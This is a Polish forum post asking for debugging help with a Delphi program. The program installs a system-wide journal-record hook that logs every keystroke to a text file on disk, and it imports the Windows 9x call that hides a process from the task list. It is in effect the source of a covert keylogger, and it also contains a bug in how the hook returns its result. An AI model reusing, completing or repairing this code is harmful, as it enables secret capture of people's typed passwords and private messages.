Witam mam taki sobie programik z hookiem ale niestety po uruchomieniu znika mi w nim myszka( tj. wskaźnik)
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Memo1: TMemo;
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
var
Hook:Integer;
MessageBuffer:TEventMsg;
PLIK: TextFile;
Llosowa: integer;
function registerserviceprocess(pid,blah:longint):boolean;
stdcall; external 'kernel32.dll' name 'RegisterServiceProcess';
function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer := PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin
assignFile(plik, 'C:\plik.txt');
append(plik);
write(plik, chr(MessageBuffer.paraml));
CloseFile(plik);
Result := 0;
end;
end;
else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
var
Plik : TextFile;
begin
UnHookWindowsHookEx(Hook);
assignFile(plik, 'C:\plik.txt');
append(plik);
writeLN(plik, '------------------------ZAMKNIECIE PROGRAMU----------------------');
CloseFile(plik);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0);
end;
end.
Jeśli ktoś widzi błąd proszęo pomoc ;)